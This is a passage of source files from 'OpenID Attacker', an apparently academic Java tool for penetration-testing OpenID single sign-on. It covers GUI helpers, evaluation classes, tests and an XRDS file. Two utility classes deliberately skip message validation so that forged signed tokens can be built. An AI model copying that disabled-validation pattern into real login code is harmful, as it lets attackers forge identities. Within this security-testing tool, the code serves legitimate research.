29 | gui = new SearchReplaceAttackParameterGui((SearchReplaceAttackParameter) parameter);
30 | // } else {
31 | // gui = new AttackParameterGui(parameter);
32 | // }
33 | return gui;
34 | }
35 | }
36 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/config/XmlPersistenceError.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.config;
20 |
21 | import org.apache.log4j.Logger;
22 |
23 | /**
24 | * Exception which will be thrown in the error case when loading or saving
25 | * a config XML file.
26 | */
27 | public class XmlPersistenceError extends Exception {
28 |
29 | private static final Logger LOG = Logger.getLogger(XmlPersistenceError.class);
30 |
31 | public XmlPersistenceError(String message) {
32 | super(message);
33 | LOG.warn(message);
34 | }
35 |
36 | public XmlPersistenceError(String message, Throwable cause) {
37 | super(message, cause);
38 | LOG.warn(message);
39 | }
40 |
41 | public XmlPersistenceError(Throwable cause) {
42 | super(cause);
43 | LOG.warn(cause);
44 | }
45 | }
46 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/evaluation/ExecutorServices.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.evaluation;
20 |
21 | import java.util.concurrent.ExecutorService;
22 | import java.util.concurrent.Executors;
23 |
24 | public class ExecutorServices {
25 | private static ExecutorService multiThreadExecutor;
26 | private static ExecutorService singleThreadExecutor;
27 |
28 | private ExecutorServices() {
29 |
30 | }
31 |
32 | public static ExecutorService getMultiThreadExecutor() {
33 | if (multiThreadExecutor == null) {
34 | multiThreadExecutor = Executors.newCachedThreadPool();
35 | }
36 |
37 | return multiThreadExecutor;
38 | }
39 |
40 | public static ExecutorService getSingleThreadExecutor() {
41 | if (singleThreadExecutor == null) {
42 | singleThreadExecutor = Executors.newSingleThreadExecutor();
43 | }
44 |
45 | return singleThreadExecutor;
46 | }
47 | }
48 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/gui/server/StartButtonColorConverter.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.gui.server;
20 |
21 | import java.awt.Color;
22 | import org.jdesktop.beansbinding.Converter;
23 | import wsattacker.sso.openid.attacker.server.status.Status;
24 |
25 | public class StartButtonColorConverter extends Converter {
26 |
27 | final private Color COLOR_NORMAL = new Color(238, 238, 238);
28 | final private Color COLOR_NOT_RUNNING = Color.RED;
29 |
30 | public StartButtonColorConverter() {
31 | }
32 |
33 | @Override
34 | public Color convertForward(Status value) {
35 | Color result = COLOR_NOT_RUNNING;
36 | if (Status.RUNNING.equals(value)) {
37 | result = COLOR_NORMAL;
38 | }
39 | return result;
40 | }
41 |
42 | @Override
43 | public Status convertReverse(Color value) {
44 | throw new UnsupportedOperationException("Read only."); //To change body of generated methods, choose Tools | Templates.
45 | }
46 | }
47 |
--------------------------------------------------------------------------------
/src/main/resources/xrds.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | http://specs.openid.net/auth/2.0/signon
7 | http://xml.nds.rub.de:8080/simpleid/www/
8 |
9 | http://xml.nds.rub.de:8080/simpleid/www/index.php?q=xrds/remote
10 |
11 |
12 |
13 | http://openid.net/signon/1.0
14 | http://xml.nds.rub.de:8080/simpleid/www/
15 |
16 | http://xml.nds.rub.de:8080/simpleid/www/index.php?q=xrds/remote
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
28 |
29 |
30 | http://specs.openid.net/auth/2.0/signon
31 | http://www.myopenid.com/server
32 | http://john-doe1011.myopenid.com/
33 |
34 |
35 | http://openid.net/signon/1.1
36 | http://www.myopenid.com/server
37 | http://john-doe1011.myopenid.com/
38 |
39 |
40 | http://openid.net/signon/1.0
41 | http://www.myopenid.com/server
42 | http://john-doe1011.myopenid.com/
43 |
44 |
45 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/evaluation/strategies/StringSimilarityCallable.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.evaluation.strategies;
20 |
21 | import java.util.concurrent.Callable;
22 | import org.apache.commons.lang3.StringUtils;
23 |
24 | public class StringSimilarityCallable implements Callable{
25 |
26 | private final String s1;
27 | private final String s2;
28 |
29 | public StringSimilarityCallable(String s1, String s2) {
30 | this.s1 = s1;
31 | this.s2 = s2;
32 | }
33 |
34 | @Override
35 | public Float call() throws Exception {
36 | //Instant startComputation = Instant.now();
37 | float result = StringUtils.getLevenshteinDistance(s1, s2);
38 | //Instant endComputation = Instant.now();
39 | //Duration duration = Duration.between(startComputation, endComputation);
40 | //System.out.println("length: " + s1.length() + "/" + s2.length() + ", duration: " + (duration.toNanos() / 1000000000) + " s, " + "result: " + result);
41 | //System.out.println("duration levenshtein: " + (duration.toNanos() / 1000000000) + " s");
42 |
43 | return result;
44 | }
45 | }
46 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/gui/server/IdpTypeRenderer.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.gui.server;
20 |
21 | import java.awt.Color;
22 | import java.awt.Component;
23 | import javax.swing.JTable;
24 | import javax.swing.table.DefaultTableCellRenderer;
25 | import wsattacker.sso.openid.attacker.server.IdpType;
26 |
27 | /**
28 | *
29 | * @author christiankossmann
30 | */
31 | public class IdpTypeRenderer extends DefaultTableCellRenderer {
32 |
33 | @Override
34 | public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) {
35 | Component cell = super.getTableCellRendererComponent(table, value, isSelected, hasFocus, row, column);
36 | if (value instanceof IdpType) {
37 | IdpType idpType = (IdpType) value;
38 |
39 | switch (idpType) {
40 | case ATTACKER:
41 | cell.setBackground(Color.RED);
42 | break;
43 | case ANALYZER:
44 | cell.setBackground(Color.GREEN);
45 | break;
46 | }
47 | }
48 | return cell;
49 | }
50 | }
51 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/discovery/xrds/OpenIdVersion.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.discovery.xrds;
20 |
21 | public enum OpenIdVersion {
22 |
23 | VERSION_10("OpenID v1.0", "http://openid.net/signon/1.0", "http://openid.net/signon/1.0"),
24 | VERSION_11("OpenID v1.1", "http://openid.net/signon/1.1", "http://openid.net/signon/1.1"),
25 | VERSION_20_OP_IDENTIFIER_ELEMENT("OpenID v2.0 - OP Identifier Element", "http://specs.openid.net/auth/2.0/server", "http://specs.openid.net/auth/2.0"),
26 | VERSION_20_CLAIMED_IDENTIFIER_ELEMENT("OpenID v2.0 - Claimed Identifier Element", "http://specs.openid.net/auth/2.0/signon", "http://specs.openid.net/auth/2.0");
27 | private final String representation, URI, NS;
28 |
29 | private OpenIdVersion(String representation, String URI, String NS) {
30 | this.representation = representation;
31 | this.URI = URI;
32 | this.NS = NS;
33 | }
34 |
35 | public String getURI() {
36 | return this.URI;
37 | }
38 |
39 | public String getNS() {
40 | return this.NS;
41 | }
42 |
43 | @Override
44 | public String toString() {
45 | return representation;
46 | }
47 | }
48 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/server/utilities/UnvalidatedAuthSuccess.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.server.utilities;
20 |
21 | import org.apache.commons.logging.Log;
22 | import org.apache.commons.logging.LogFactory;
23 | import org.openid4java.message.AuthSuccess;
24 | import org.openid4java.message.MessageException;
25 | import org.openid4java.message.ParameterList;
26 |
27 | public class UnvalidatedAuthSuccess extends AuthSuccess {
28 |
29 | private static final Log LOG = LogFactory.getLog(UnvalidatedAuthSuccess.class);
30 | private static final boolean DEBUG = LOG.isDebugEnabled();
31 |
32 | protected UnvalidatedAuthSuccess(ParameterList params) {
33 | super(params);
34 | }
35 |
36 | public static AuthSuccess createAuthSuccess(ParameterList params)
37 | throws MessageException {
38 | AuthSuccess resp = new UnvalidatedAuthSuccess(params);
39 |
40 | // The response token must not be validated
41 | // This allows e.g. to create signed tokens WITHOUT claimed_id etc.
42 | // resp.validate();
43 | if (DEBUG) {
44 | LOG.debug("Created positive auth response:\n"
45 | + resp.keyValueFormEncoding());
46 | }
47 |
48 | return resp;
49 | }
50 | }
51 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/server/utilities/UnvalidatedAuthRequest.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.server.utilities;
20 |
21 | import org.apache.commons.logging.Log;
22 | import org.apache.commons.logging.LogFactory;
23 | import org.openid4java.message.AuthRequest;
24 | import org.openid4java.message.MessageException;
25 | import org.openid4java.message.ParameterList;
26 | import org.openid4java.server.RealmVerifier;
27 |
28 | public class UnvalidatedAuthRequest extends AuthRequest {
29 |
30 | private static final Log LOG = LogFactory.getLog(UnvalidatedAuthRequest.class);
31 | private static final boolean DEBUG = LOG.isDebugEnabled();
32 |
33 | protected UnvalidatedAuthRequest(ParameterList params) {
34 | super(params);
35 | }
36 |
37 | public static AuthRequest createAuthRequest(ParameterList params,
38 | RealmVerifier realmVerifier)
39 | throws MessageException {
40 | AuthRequest req = new UnvalidatedAuthRequest(params);
41 |
42 | req.setRealmVerifier(realmVerifier);
43 |
44 | // The request must not be validated
45 | // req.validate();
46 | if (DEBUG) {
47 | LOG.debug("Created auth request:\n" + req.keyValueFormEncoding());
48 | }
49 |
50 | return req;
51 | }
52 | }
53 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/gui/ServerStatusToIconConverter.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.gui;
20 |
21 | import java.net.URL;
22 | import javax.swing.ImageIcon;
23 | import org.jdesktop.beansbinding.Converter;
24 | import wsattacker.sso.openid.attacker.server.status.Status;
25 |
26 | public class ServerStatusToIconConverter extends Converter {
27 |
28 | @Override
29 | public ImageIcon convertForward(Status s) {
30 | if (s == Status.RUNNING) {
31 | return createImageIcon("play.png", "play icon");
32 | }
33 |
34 | return createImageIcon("stop.png", "stop icon");
35 | }
36 |
37 | @Override
38 | public Status convertReverse(ImageIcon t) {
39 | throw new UnsupportedOperationException("Not supported yet."); //To change body of generated methods, choose Tools | Templates.
40 | }
41 |
42 | /** Returns an ImageIcon, or null if the path was invalid. */
43 | protected ImageIcon createImageIcon(String path, String description) {
44 | URL imgURL = getClass().getClassLoader().getResource(path);
45 | if (imgURL != null) {
46 | return new ImageIcon(imgURL, description);
47 | } else {
48 | System.err.println("Couldn't find file: " + path);
49 | return null;
50 | }
51 | }
52 | }
--------------------------------------------------------------------------------
/src/test/java/wsattacker/sso/openid/attacker/attack/utilities/AttackValueTest.java:
--------------------------------------------------------------------------------
1 | package wsattacker.sso.openid.attacker.attack.utilities;
2 |
3 | import static org.hamcrest.Matchers.is;
4 | import static org.hamcrest.Matchers.notNullValue;
5 | import static org.junit.Assert.assertThat;
6 | import org.junit.Test;
7 | import wsattacker.sso.openid.attacker.attack.parameter.utilities.AttackValue;
8 |
9 | public class AttackValueTest {
10 |
11 | public static final String USER_VALUE_1 = "userValue_1";
12 | public static final String AUTOMATIC_VALUE_1 = "automaticValue_1";
13 | public static final String USER_VALUE_2 = "userValue_2";
14 | public static final String AUTOMATIC_VALUE_2 = "automaticValue_2";
15 |
16 | public AttackValueTest() {
17 | }
18 |
19 | @Test
20 | public void testNotNullValue() {
21 | AttackValue av = new AttackValue();
22 |
23 | assertThat(av.getUserValue(), notNullValue());
24 | assertThat(av.getAutomaticValue(), notNullValue());
25 | assertThat(av.getCurrentValue(), notNullValue());
26 | }
27 |
28 | @Test
29 | public void testDefaultAttackNotEnabled() {
30 | AttackValue av = new AttackValue();
31 |
32 | assertThat(av.isEnableUserValue(), is(false));
33 | }
34 |
35 | @Test
36 | public void testGetCurrentValue() {
37 | AttackValue av = new AttackValue();
38 |
39 | av.setUserValue(USER_VALUE_1);
40 | av.setAutomaticValue(AUTOMATIC_VALUE_1);
41 |
42 | assertThat(av.getAutomaticValue(), is(AUTOMATIC_VALUE_1));
43 | assertThat(av.getUserValue(), is(USER_VALUE_1));
44 |
45 | av.setEnableUserValue(false);
46 | assertThat(av.getCurrentValue(), is(AUTOMATIC_VALUE_1));
47 | av.setCurrentValue(AUTOMATIC_VALUE_2);
48 | assertThat(av.getCurrentValue(), is(AUTOMATIC_VALUE_2));
49 | assertThat(av.getAutomaticValue(), is(AUTOMATIC_VALUE_2));
50 |
51 | av.setEnableUserValue(true);
52 | assertThat(av.getCurrentValue(), is(USER_VALUE_1));
53 | av.setCurrentValue(USER_VALUE_2);
54 | assertThat(av.getCurrentValue(), is(USER_VALUE_2));
55 | assertThat(av.getUserValue(), is(USER_VALUE_2));
56 | }
57 | }
58 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/evaluation/attack/AttackResult.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.evaluation.attack;
20 |
21 | import java.io.Serializable;
22 | import wsattacker.sso.openid.attacker.evaluation.LoginResult;
23 |
24 | public class AttackResult implements Serializable {
25 | private final String description;
26 | private final LoginResult loginResult;
27 | private final Result result;
28 | private final Interpretation interpretation;
29 |
30 | public enum Result {
31 | SUCCESS, FAILURE, NOT_PERFORMABLE, NOT_DETECTABLE
32 | }
33 |
34 | public enum Interpretation {
35 | CRITICAL, RESTRICTED, PREVENTED, NEUTRAL
36 | }
37 |
38 | public AttackResult(String description, LoginResult loginResult, Result result, Interpretation interpretation) {
39 | this.description = description;
40 | this.loginResult = loginResult;
41 | this.result = result;
42 | this.interpretation = interpretation;
43 | }
44 |
45 | public String getDescription() {
46 | return description;
47 | }
48 |
49 | public LoginResult getLoginResult() {
50 | return loginResult;
51 | }
52 |
53 | public Result getResult() {
54 | return result;
55 | }
56 |
57 | public Interpretation getInterpretation() {
58 | return interpretation;
59 | }
60 | }
61 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/evaluation/EvaluationResultStore.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.evaluation;
20 |
21 | import java.util.ArrayList;
22 | import java.util.List;
23 | import org.jdesktop.observablecollections.ObservableCollections;
24 | import org.jdesktop.observablecollections.ObservableList;
25 |
26 | public class EvaluationResultStore {
27 | private static EvaluationResultStore INSTANCE;
28 |
29 | private final ObservableList evaluationResults = ObservableCollections.observableList(new ArrayList());
30 |
31 | private EvaluationResultStore() {
32 |
33 | }
34 |
35 | public static EvaluationResultStore getEvaluationResultStore() {
36 | if (INSTANCE == null) {
37 | INSTANCE = new EvaluationResultStore();
38 | }
39 |
40 | return INSTANCE;
41 | }
42 |
43 | public void addEvaluationResult(EvaluationResult result) {
44 | evaluationResults.add(result);
45 | }
46 |
47 | public EvaluationResult getLatestEvaluationResult() {
48 | return evaluationResults.get(evaluationResults.size()-1);
49 | }
50 |
51 | public List getEvaluationResults() {
52 | return evaluationResults;
53 | }
54 |
55 | public void setEvaluationResults(List evaluationResults) {
56 |
57 | }
58 | }
59 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/message/OpenIdElementNames.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.message;
20 |
21 | public final class OpenIdElementNames {
22 |
23 | public static final String MODE = "mode";
24 | public static final String IDENTIFIER = "identifier";
25 | public static final String CLAIMED_ID = "claimed_id";
26 | public static final String OP_ENDPOINT = "op_endpoint";
27 | public static final String ASSOC_HANDLE = "assoc_handle";
28 | public static final String SIGNATURE = "sig";
29 | public static final String SIGNED_FIELDS = "signed";
30 | public static final String NICKNAME = "nickname"; // 'http://axschema.org/namePerson/friendly'
31 | public static final String EMAIL = "email"; // 'http://axschema.org/contact/email'
32 | public static final String FULLNAME = "fullname"; // 'http://axschema.org/namePerson'
33 | public static final String DOB = "dob"; // 'http://axschema.org/birthDate'
34 | public static final String GENDER = "gender"; // 'http://axschema.org/person/gender'
35 | public static final String POSTCODE = "postcode"; // 'http://axschema.org/contact/postalCode/home'
36 | public static final String COUNTRY = "country"; // 'http://axschema.org/contact/country/home'
37 | public static final String LANGUAGE = "language"; // 'http://axschema.org/pref/language'
38 | public static final String TIMEZONE = "timezone"; // 'http://axschema.org/pref/timezone'
39 |
40 | private OpenIdElementNames() {
41 | }
42 | }
43 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/user/User.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.user;
20 |
21 | import java.util.LinkedHashMap;
22 | import java.util.Map;
23 | import javax.xml.bind.annotation.XmlRootElement;
24 | import javax.xml.bind.annotation.XmlTransient;
25 |
26 | @XmlRootElement(name = "User")
27 | public class User extends UserDataCollector {
28 |
29 | public static final String NAME_IDENTIFIER = "identity";
30 | public static final String NAME_CLAIMED_ID = "claimed_id";
31 |
32 | public User() {
33 | super();
34 | setIdentifier(NAME_IDENTIFIER);
35 | setClaimedId(NAME_CLAIMED_ID);
36 | }
37 |
38 | @XmlTransient
39 | public String getIdentifier() {
40 | return getByName(NAME_IDENTIFIER).getValue();
41 | }
42 |
43 | public void setIdentifier(String identifier) {
44 | set(NAME_IDENTIFIER, identifier);
45 | }
46 |
47 | @XmlTransient
48 | public String getClaimedId() {
49 | return getByName(NAME_CLAIMED_ID).getValue();
50 | }
51 |
52 | public void setClaimedId(String claimedId) {
53 | set(NAME_CLAIMED_ID, claimedId);
54 | }
55 |
56 | public Map getUserDataMap() {
57 | Map result = new LinkedHashMap<>();
58 | for (UserData data : getDataList()) {
59 | String name = data.getName();
60 | if (!result.containsKey(name)) {
61 | String value = data.getValue();
62 | result.put(name, value);
63 | }
64 | }
65 | return result;
66 | }
67 | }
68 |
--------------------------------------------------------------------------------
/src/test/java/wsattacker/sso/openid/attacker/attack/parameter/SearchReplaceAttackParameterTest.java:
--------------------------------------------------------------------------------
1 | package wsattacker.sso.openid.attacker.attack.parameter;
2 |
3 | import java.util.List;
4 | import static org.hamcrest.Matchers.is;
5 | import static org.junit.Assert.assertThat;
6 | import org.junit.Test;
7 | import wsattacker.sso.openid.attacker.attack.parameter.utilities.SearchReplaceHolder;
8 |
9 | public class SearchReplaceAttackParameterTest {
10 |
11 | public SearchReplaceAttackParameterTest() {
12 | }
13 |
14 | @Test
15 | public void testSingleReplace() {
16 | final SearchReplaceHolder srh = new SearchReplaceHolder("two", "ZWEI", false);
17 | searchReplaceTest("one_two_three_four_five", "one_ZWEI_three_four_five", srh);
18 | }
19 |
20 | @Test
21 | public void testDoubleReplace() {
22 | final SearchReplaceHolder srh1 = new SearchReplaceHolder("two", "ZWEI", false);
23 | final SearchReplaceHolder srh2 = new SearchReplaceHolder("five", "FUENF", false);
24 | searchReplaceTest("one_two_three_four_five", "one_ZWEI_three_four_FUENF", srh2, srh1);
25 | }
26 |
27 | @Test
28 | public void testWithEncoding() {
29 | final String search = "http://idp1.nds.rub.de:8080/simpleid/www/";
30 | final String replace = "https://idp2.nds.rub.de:9090/elsewhere/";
31 | final SearchReplaceHolder srh = new SearchReplaceHolder(search, replace, true);
32 | String returnUrl = "https://www.sp.org/login?openid1_claimed_id=http%3A%2F%2Fidp1.nds.rub.de%3A8080%2Fsimpleid%2Fwww%2F&rp_nonce=2013-10-02T14%3A56%3A59Zc5gyX5";
33 | String expectedUrl = "https://www.sp.org/login?openid1_claimed_id=https%3A%2F%2Fidp2.nds.rub.de%3A9090%2Felsewhere%2F&rp_nonce=2013-10-02T14%3A56%3A59Zc5gyX5";
34 | searchReplaceTest(returnUrl, expectedUrl, srh);
35 | }
36 |
37 | public void searchReplaceTest(String initialString, String expectedResult, SearchReplaceHolder... searchReplace) {
38 | final SearchReplaceAttackParameter parameter = new SearchReplaceAttackParameter();
39 | parameter.setName("openid.return_to");
40 | parameter.setValidValue(initialString);
41 |
42 | final List searchReplaceList = parameter.getSearchReplaceList();
43 | for (SearchReplaceHolder srh : searchReplace) {
44 | searchReplaceList.add(srh);
45 | }
46 |
47 | String result = parameter.getAttackValue();
48 |
49 | assertThat(result, is(expectedResult));
50 |
51 | }
52 | }
53 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/message/OpenIdNamespaces.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
